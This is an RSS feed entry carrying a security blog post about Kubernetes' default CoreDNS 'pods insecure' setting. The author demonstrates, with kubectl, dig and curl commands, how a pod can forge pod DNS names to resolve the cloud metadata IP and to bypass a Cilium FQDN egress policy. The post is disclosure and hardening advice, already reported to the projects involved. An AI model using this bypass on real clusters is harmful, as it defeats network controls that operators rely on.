<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Kube-Dns on DaTosh Blog</title><link>https://datosh.github.io/tags/kube-dns/</link><description>Software Engineering, Security, and Cloud Native Technologies</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><managingEditor>DaTosh</managingEditor><webMaster>DaTosh</webMaster><lastBuildDate>Mon, 18 May 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://datosh.github.io/tags/kube-dns/index.xml" rel="self" type="application/rss+xml"/><item><title>Kubernetes' Default CoreDNS Configuration is *insecure*</title><link>https://datosh.github.io/post/kubernetes_coredns_insecure/</link><pubDate>Mon, 18 May 2026 00:00:00 +0000</pubDate><author>DaTosh</author><guid>https://datosh.github.io/post/kubernetes_coredns_insecure/</guid><description>&lt;p>&lt;a href="https://github.com/coredns/coredns">CoreDNS&lt;/a> is the DNS server that powers most (all?) Kubernetes distributions,
ever since it was made the default in &lt;a href="https://github.com/kubernetes/kubernetes/blob/master/CHANGELOG/CHANGELOG-1.13.md#sig-network">v1.13&lt;/a> in December 2018.&lt;/p>
&lt;p>Chances are, you&amp;rsquo;ve never heard of or used its predecessor: &lt;a href="https://github.com/kubernetes/dns">kube-dns&lt;/a>. Lucky for us, CoreDNS still has a config option to remind us. &lt;code>pods insecure&lt;/code> is the &lt;a href="https://github.com/kubernetes/kubernetes/blob/release-1.35/cmd/kubeadm/app/phases/addons/dns/manifests.go#L178">default configuration option&lt;/a> for most (again - all?) Kubernetes distributions, and was introduced as an option to provide &lt;a href="https://coredns.io/plugins/kubernetes/">&amp;ldquo;backward compatibility with kube-dns&amp;rdquo;&lt;/a>. The simple fact that the option&amp;rsquo;s value is &lt;strong>insecure&lt;/strong> should be enough to make us reconsider.&lt;/p>
&lt;p>But alas&amp;hellip; it is not. So, what does it do? And, what are the implications?&lt;/p>
&lt;h2 id="what-does-it-do">What does it do?&lt;/h2>
&lt;p>Let&amp;rsquo;s go to our &lt;a href="https://labs.iximiuz.com/playgrounds">favorite K8s playground&lt;/a>, spin up a cluster, and quickly confirm we are working with the &lt;code>insecure&lt;/code> configuration:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d8dee9;background-color:#2e3440;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh-session" data-lang="sh-session">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#4c566a;font-weight:bold">$&lt;/span> kubectl -n kube-system get cm coredns -oyaml
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And indeed we are:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d8dee9;background-color:#2e3440;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#81a1c1">apiVersion&lt;/span>&lt;span style="color:#eceff4">:&lt;/span> v1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#81a1c1">kind&lt;/span>&lt;span style="color:#eceff4">:&lt;/span> ConfigMap
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#81a1c1">data&lt;/span>&lt;span style="color:#eceff4">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#81a1c1">Corefile&lt;/span>&lt;span style="color:#eceff4">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> .:53 {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> errors
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> health {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> lameduck 5s
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ready
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> kubernetes cluster.local in-addr.arpa ip6.arpa {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> pods insecure
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> fallthrough in-addr.arpa ip6.arpa
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ttl 30
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> prometheus :9153
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> forward . /etc/resolv.conf {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> max_concurrent 1000
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> cache 30 {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> disable success cluster.local
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> disable denial cluster.local
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> loop
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> reload
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> loadbalance
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>As the documentation states, this option forces CoreDNS to &amp;ldquo;always return an A record with IP from request (without checking k8s)&amp;rdquo;. Basically, this gives us the option to mint arbitrary DNS A records. Let&amp;rsquo;s create a pod and have some fun:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d8dee9;background-color:#2e3440;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>kubectl apply -f - &lt;span style="color:#a3be8c">&amp;lt;&amp;lt;EOF
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a3be8c">apiVersion: v1
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a3be8c">kind: Pod
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a3be8c">metadata:
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a3be8c"> name: attacker
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a3be8c"> namespace: default
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a3be8c"> labels:
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a3be8c"> app: attacker
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a3be8c">spec:
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a3be8c"> containers:
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a3be8c"> - name: attacker
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a3be8c"> image: ubuntu:noble
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a3be8c"> command: [&amp;#34;sleep&amp;#34;, &amp;#34;3600&amp;#34;]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a3be8c"> resources:
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a3be8c"> limits:
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a3be8c"> memory: &amp;#34;256Mi&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a3be8c"> cpu: &amp;#34;250m&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a3be8c">EOF&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>kubectl &lt;span style="color:#81a1c1">exec&lt;/span> attacker -it -- bash
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Inside the pod:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d8dee9;background-color:#2e3440;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh-session" data-lang="sh-session">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#4c566a;font-weight:bold">$&lt;/span> apt update &lt;span style="color:#81a1c1">&amp;amp;&amp;amp;&lt;/span> apt install -y curl dnsutils
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#4c566a;font-weight:bold">$&lt;/span> dig +short 169-254-169-254.default.pod.cluster.local
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>169.254.169.254
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="what-are-the-implications">What are the implications?&lt;/h3>
&lt;p>As the CoreDNS documentation further states, &amp;ldquo;this option is vulnerable to abuse if used maliciously in conjunction with wildcard SSL certs&amp;rdquo;. While this is definitely an issue, I&amp;rsquo;d like to take a different route here.&lt;/p>
&lt;p>Let&amp;rsquo;s assume we have Cilium installed in our cluster to handle network policies. Let&amp;rsquo;s further assume we have a network policy like so:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d8dee9;background-color:#2e3440;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#81a1c1">apiVersion&lt;/span>&lt;span style="color:#eceff4">:&lt;/span> &lt;span style="color:#a3be8c">&amp;#34;cilium.io/v2&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#81a1c1">kind&lt;/span>&lt;span style="color:#eceff4">:&lt;/span> CiliumNetworkPolicy
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#81a1c1">metadata&lt;/span>&lt;span style="color:#eceff4">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#81a1c1">name&lt;/span>&lt;span style="color:#eceff4">:&lt;/span> limit-to-local
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#81a1c1">namespace&lt;/span>&lt;span style="color:#eceff4">:&lt;/span> default
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#81a1c1">spec&lt;/span>&lt;span style="color:#eceff4">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#81a1c1">endpointSelector&lt;/span>&lt;span style="color:#eceff4">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#81a1c1">matchLabels&lt;/span>&lt;span style="color:#eceff4">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#81a1c1">app&lt;/span>&lt;span style="color:#eceff4">:&lt;/span> attacker
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#81a1c1">egress&lt;/span>&lt;span style="color:#eceff4">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#616e87;font-style:italic"># Rule 1: Allow DNS resolution (Required for FQDN rules to work)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#81a1c1">toEndpoints&lt;/span>&lt;span style="color:#eceff4">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#81a1c1">matchLabels&lt;/span>&lt;span style="color:#eceff4">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#81a1c1">&amp;#34;k8s:io.kubernetes.pod.namespace&amp;#34;: &lt;/span>kube-system
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#81a1c1">k8s-app&lt;/span>&lt;span style="color:#eceff4">:&lt;/span> kube-dns
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#81a1c1">toPorts&lt;/span>&lt;span style="color:#eceff4">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#81a1c1">ports&lt;/span>&lt;span style="color:#eceff4">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#81a1c1">port&lt;/span>&lt;span style="color:#eceff4">:&lt;/span> &lt;span style="color:#a3be8c">&amp;#34;53&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#81a1c1">protocol&lt;/span>&lt;span style="color:#eceff4">:&lt;/span> UDP
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#81a1c1">rules&lt;/span>&lt;span style="color:#eceff4">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#81a1c1">dns&lt;/span>&lt;span style="color:#eceff4">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#81a1c1">matchPattern&lt;/span>&lt;span style="color:#eceff4">:&lt;/span> &lt;span style="color:#a3be8c">&amp;#34;*&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#616e87;font-style:italic"># Rule 2: Allow internal traffic only, or...?&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#81a1c1">toFQDNs&lt;/span>&lt;span style="color:#eceff4">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#81a1c1">matchPattern&lt;/span>&lt;span style="color:#eceff4">:&lt;/span> &lt;span style="color:#a3be8c">&amp;#34;**.cluster.local&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#81a1c1">toPorts&lt;/span>&lt;span style="color:#eceff4">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#81a1c1">ports&lt;/span>&lt;span style="color:#eceff4">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#81a1c1">port&lt;/span>&lt;span style="color:#eceff4">:&lt;/span> &lt;span style="color:#a3be8c">&amp;#34;443&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#81a1c1">protocol&lt;/span>&lt;span style="color:#eceff4">:&lt;/span> TCP
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#81a1c1">port&lt;/span>&lt;span style="color:#eceff4">:&lt;/span> &lt;span style="color:#a3be8c">&amp;#34;80&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#81a1c1">protocol&lt;/span>&lt;span style="color:#eceff4">:&lt;/span> TCP
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>One would assume that this policy prevents any outbound network traffic&amp;hellip; and indeed it does:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d8dee9;background-color:#2e3440;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh-session" data-lang="sh-session">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#4c566a;font-weight:bold">$&lt;/span> kubectl &lt;span style="color:#81a1c1">exec&lt;/span> attacker -it -- curl ifconfig.me
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>203.0.113.0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bf616a">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bf616a">&lt;/span>&lt;span style="color:#4c566a;font-weight:bold">$&lt;/span> kubectl apply -f netpol.yaml
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ciliumnetworkpolicy.cilium.io/limit-to-local created
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bf616a">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bf616a">&lt;/span>&lt;span style="color:#4c566a;font-weight:bold">$&lt;/span> kubectl &lt;span style="color:#81a1c1">exec&lt;/span> attacker -it -- curl ifconfig.me
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>**cricket noises**
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Let&amp;rsquo;s check which IP this is trying to connect to:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d8dee9;background-color:#2e3440;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh-session" data-lang="sh-session">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#4c566a;font-weight:bold">$&lt;/span> kubectl &lt;span style="color:#81a1c1">exec&lt;/span> attacker -it -- curl -v ifconfig.me
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>* Host ifconfig.me:80 was resolved.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>* IPv6: 2600:1901:0:b2bd::
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>* IPv4: 34.160.111.145
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If we show Cilium that this IP belongs to &lt;code>*.cluster.local&lt;/code>, it will generously let us pass:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d8dee9;background-color:#2e3440;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh-session" data-lang="sh-session">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#4c566a;font-weight:bold">$&lt;/span> kubectl &lt;span style="color:#81a1c1">exec&lt;/span> attacker -it -- dig +short 34-160-111-145.default.pod.cluster.local
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>34.160.111.145
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#4c566a;font-weight:bold">$&lt;/span> kubectl &lt;span style="color:#81a1c1">exec&lt;/span> attacker -it -- curl ifconfig.me
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>203.0.113.0
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="what-happened-here">What happened here?&lt;/h3>
&lt;p>Cilium keeps a list of all the IPs and FQDNs it has seen and will make policy decisions based on these values.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d8dee9;background-color:#2e3440;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh-session" data-lang="sh-session">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#4c566a;font-weight:bold">$&lt;/span> kubectl -n kube-system &lt;span style="color:#81a1c1">exec&lt;/span> cilium-vvlqz -- cilium fqdn cache list
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Endpoint Source FQDN TTL ExpirationTime IPs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>198 connection 34-160-111-145.default.pod.cluster.local. 0 2026-05-18T20:45:11.234Z 34.160.111.145
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>198 connection ifconfig.me. 0 2026-05-18T20:45:11.234Z 34.160.111.145
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I have &lt;a href="https://datosh.github.io/cilium-report.md">reported&lt;/a> this to the Cilium project, and they have &lt;a href="https://github.com/cilium/cilium/pull/45525">improved their documentation&lt;/a> to mitigate this issue.&lt;/p>
&lt;div class="info-box info-box--info">
&lt;div class="info-box__header">
&lt;i class="fas fa-info-circle">&lt;/i>
&lt;span>Info&lt;/span>
&lt;/div>
&lt;div class="info-box__content">
The cache is local to the node. Make sure to run the &lt;code>cilium&lt;/code> command in a cilium pod that shares the node with your attacker pod.
&lt;/div>
&lt;/div>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>All of this is to say: It has been 8 years since we made the switch from kube-dns to CoreDNS. I think it is time to also make the switch from the &lt;code>insecure&lt;/code> compatibility flag to &lt;code>verified&lt;/code> and make our cluster DNS a little bit more secure.&lt;/p>
&lt;p>I have raised this issue during the &lt;a href="https://docs.google.com/document/d/1GgmmNYN88IZ2v2NBiO3gdU8Riomm0upge_XNVxEYXp0/edit?tab=t.0#heading=h.iab0zz7n53x1">SIG Security meeting in April&lt;/a>, and &lt;a href="https://github.com/coredns/coredns/issues/8043">raised an issue with the CoreDNS project&lt;/a>. I hope that this blog post servers as one more reason to start changing the default to &lt;code>verified&lt;/code> in every Kubernetes distribution.&lt;/p>
&lt;p>If you are a K8s distribution maintainer, &lt;a href="https://www.linkedin.com/in/fabian-kammel-7781b7173/">please reach out&lt;/a>! I am happy to share my findings to aid in your migration.&lt;/p></description></item></channel></rss>